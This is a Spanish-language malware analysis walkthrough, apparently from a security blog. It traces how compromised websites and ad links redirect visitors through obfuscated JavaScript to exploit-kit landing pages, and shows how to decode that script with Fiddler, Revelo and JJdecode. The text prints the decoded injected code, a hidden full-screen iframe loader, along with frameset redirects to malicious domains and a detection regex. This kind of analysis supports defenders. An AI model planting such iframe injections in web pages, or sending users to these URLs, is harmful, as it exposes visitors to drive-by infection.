Muchas de las web que se visitan a diario están comprometidas, y el usuario corriente navega por ellas sin tener conocimiento alguno del peligro que supone no tener el navegador o la versión de Adobe Flash actualizada. A continuación vamos a ver un análisis de este tipo de compromisos que por desgracia, cada día es más habitual.
En el análisis de tráfico HTTP se pueden usar herramientas como Burp o Fiddler.
En este ejemplo he usado Fiddler y en navegador Iceweasel con un plugin para simular distintos User Agent (Switch user agent), para en momentos determinados emular Internet Explorer.
Si se quiere instalar Fiddler bajo Linux con mono, se puede seguir este manual:
http://fiddler.wikidot.com/mono
En muchas páginas, algunas muy conocidas me he encontrado con este código javascript cifrado (diff-hellman), también llamado pseudo-Darkleech script. A veces directamente en el index y otras veces en diferentes archivos asociados a la web:
Cada vez que se accede a la web infectada, se genera un nuevo código pero con la misma estructura (“landing page”), como se ve en estos dos casos:
Como se ve en las dos imágenes la estructura es similar. Este código normalmente contacta directamente contra un Angler EK que suele infectar con un Teslacrypt, como se puede ver en el siguiente ejemplo analizado del blog malware-traffic-analysis: http://www.malware-traffic-analysis.net/2016/02/22/index.html
En otros casos hay varias capas de ofuscación, para llegar a un código con estructura diferente a la mostrada. Al descifrar el primer código ofuscado mostrado en la primera imagen se obtiene:
<script type="text/javascript"> if (i2336 == null) { var i2336 = 1; window.status='Done'; document.write('<DIV id=check524 style="DISPLAY: none"><iframe src="http://druivenlezer.drjamesharold.com/boards/viewtopic.php?t=6990&f=r9h3td1je5jk3705" width="'+screen.width+'" height="'+screen.height+'"></iframe></DIV>'); window.status='Done'; } </script>
Redirige a druivenlezer.drjamesharold.com, de nuevo viéndose ahora otra ofuscación entre las líneas comentadas, aparentemente sacadas de algún libro con el fin de aparentar ser código legitimo:
El resultado es una función JavaScript que almacena una cookie y hace que generen etiquetas HTML <iframe>. haciendo una peticion hacia el exploit con una URL característica.
Este código a su vez redirige a la siguiente URL:
http://druivenlezer.drjamesharold.com/begin.wdgt?suggest=7mKMsWhVd&themselves=q5NwI6-ivm&know=pTOjdALQzz&seek=8DdPb3AW4&complete=z9Dyp-&finger=3XHS
Devolviendo un 404 en esta prueba.
Sin entrar en muchos más detalles, tras comprobar que el sistema es vulnerable, la siguiente etapa sería la descarga del archivo SWF malicioso, búsqueda muchas veces infructuosa debido a que las condiciones no se cumplen, ya sea porque detecta una sandbox o porque la versión del navegador o de Adobe flash player no son las idóneas.
Lo interesante ahora es ejecutar este código cifrado, aunque se puede perder mucho tiempo en cambiar el nombre de las variables por algunas más sencillas y averiguar qué hace. Para ello, se puede usar alguna herramienta automatizada mucho más rápida, como es el caso de revelo: http://www.kahusecurity.com/tag/revelo/
Con esta herramienta, que funciona bajo Windows se puede pegar el código HTML de la web, y automáticamente el programa hace de proxy para ejecutar el código y visualizar las peticiones:
Una vez copiado el código se puede seleccionar “Capture HTTP Request Via Proxy” (es necesario modifica las opciones de Internet Explorer para que use revelo como proxy) y seleccionar por ejemplo como User Agent Internet Explorer 9 en Windows 7 y “Allow Internet Access”. Ejecuta el código (hacer esto en una máquina virtual aislada) y nos muestra la URL a la que intenta acceder el script:
El dominio ya de por sí tiene mala reputación en Virus Total: http://www.virustotal.com/search/?query=nililopewa.cerarmix.us
De este tipo de URLs: (http://niliopewa[.]ceramix[.]us/fórums/index.php?PHPSESSID=350&action=se8928k8x92973.7i08) se pueden generar expresiones regulares que nos pueden dar pistas para buscar posibles infecciones. Con www.debuggex.com se genera la expresión regular (se puede ajustar más si aparecen muchos falsos positivos):
(.?)+\/forums\/(.?)+\.php\?PHPSESSID\=(.?)+&action=(.?)+
En ocasiones el código malicioso no está directamente en el código fuente de la web, como en este ejemplo, donde en el código fuente se ve un simple link publicitario. Primero ejecuta uno de ellos, porque hay varios:
Vemos que la URL
http://adserver.dominio.com/www/delivery/ajs.php?zoneid=120&cb=67130897609&charset=UTF-8&loc=http%3A//dominio.com
contiene un enlace a
http://strap.canal-ltda.cl/anxtlh4.html:
Y este a su vez genera un iframe:
<html><frameset rows="100%"><frame src="http://md6.foq2q5bgt.top/topic/48162-phases-repossessions-wellwisher-constructively-convertibility-carol-peers/"></frameset></html>
A modo de curiosidad, la estructura *.top/topic/ seguida de 8 palabras separadas por un guión no es la primera vez que se ve en las pruebas, por lo cual es una buena regex para buscar patrones. Esta URL lleva directamente a web de destino o landing page:
Este código cifrado genera otra URL:
http://md6.foq2q5bgt.top/?q=ME72&k=cYDewg2VLt&a=r9kXJ2s&j=N-188LYosB&c=TKKqOxW&g=hy87TVlrxs
En este caso el codigo de respuesta es 404, ya que parece ser que las condiciones para la llamada al exploit no son las idoneas. No es un problema, porque dentro del código fuente de la web original se hacen más llamadas a links publicitarios con diferente URL (por ejemplo diferente zoneid).
Digamos que esta web tiene unos 5 tipos de landing page cada una buscando unas peculiaridades, para despues ejecutar el exploit adecuado.
Se vuelve a repetir la navegación anterior con otro link publicitario:
http://adserver.dominio.com/www/delivery/ajs.php?zoneid=113&cb=49589140651&charset=UTF-8&loc=http%3A//dominio.com/
vuelve a llamar a http://strap.canal-ltda.cl/anxtlh4.html. Esta vez se genera un nuevo iframe:
<html><frameset rows="100%"><frame src="http://yfcygcjvj.bizonho.org/schoolchild/21186_63q2wjhah03n0/convulsions-29268/rubbishes.asp?4966=n9a9517y"></frameset></html>
Se vuelve a generar otra landing page:
Y vuelve a llamar a http://strap.canal-ltda.cl/anxtlh4.html, pero esta vez ya no hay iframes y todo parece legitimo (referenciando a twitter):
Ahora se cumplen las condiciones deseadas y se accede al recurso SWF. Se produce una llamada a la siguiente URL:
http://yfcygcjvj.bizonho.org/79875.htm?portentous=cfi3wr6cksb8ffl3363&8624=xx38227dbl&activist=500
El archivo flash se puede exportar para su análisis
Con Fiddler se puede visualizar en modo raw y exportar como SWF:
Como anécdota, al descifrar el código javascript con revelo, muchas veces genera URLs con patrones parecidos, donde siempre hace una última petición GET con los valores en base 64 asociados a unas variables:
http://druivenlezer.drjamesharold.com/begin.wdgt?suggest=7mKMsWhVd&themselves=q5NwI6-ivm&know=pTOjdALQzz&seek=8DdPb3AW4&complete=z9Dyp-&finger=3XHS
http://dominio.com/?x=&v=YZRp&y=sFh3hUQ&n=WvA7QC&m=vKg5w_Xm&j=sKjwWaRWfxxGTU6PeJusZhD
http://dominio.com/?q=YW6v9&e=8iF&c=jZWWVO_zdL&p=d2GOMLU&w=uypdPr9hPIaWaCgbOUKHpVD
Estas peticiones se pueden usar a modo de código para actuar o no de una forma concreta, usando mod_rewrite con expresiones regulares en el servidor web asociado al malware. En otros casos el nivel de ofuscamiento es diferente y revelo no funciona, es el caso de cifrados como este:
En este caso, al buscar información del cifrado, parece ser que se ha cifrado con JJencode. Así que si existe el encode, facilmente se encuentra el JJdecode utilizando esta herramienta: https://hackvertor.co.uk/hvurl/2o.
Si hay varios script en el código, conviene dvidirlos porque sino fallará si se intentan decodificar a la vez:
Ahora que tenemos el código en unicode, lo transformamos:
Vemos la URL, está catalogada como maliciosa: https://www.virustotal.com/es/domain/seris.biz/information/
Dentro de la web www.kahusecurity.com podemos obtener una comparativa de todos los programas destinados a la labor de descifrar javascript:
En los ejemplos 6, 7 y 8, pertenecientes a exploits lo que mejor funciona es revelo y javascript Debugger. JSDetox y SpiderMonkey se suelen usar más para hacer un análisis más interactivo y manual a la vez.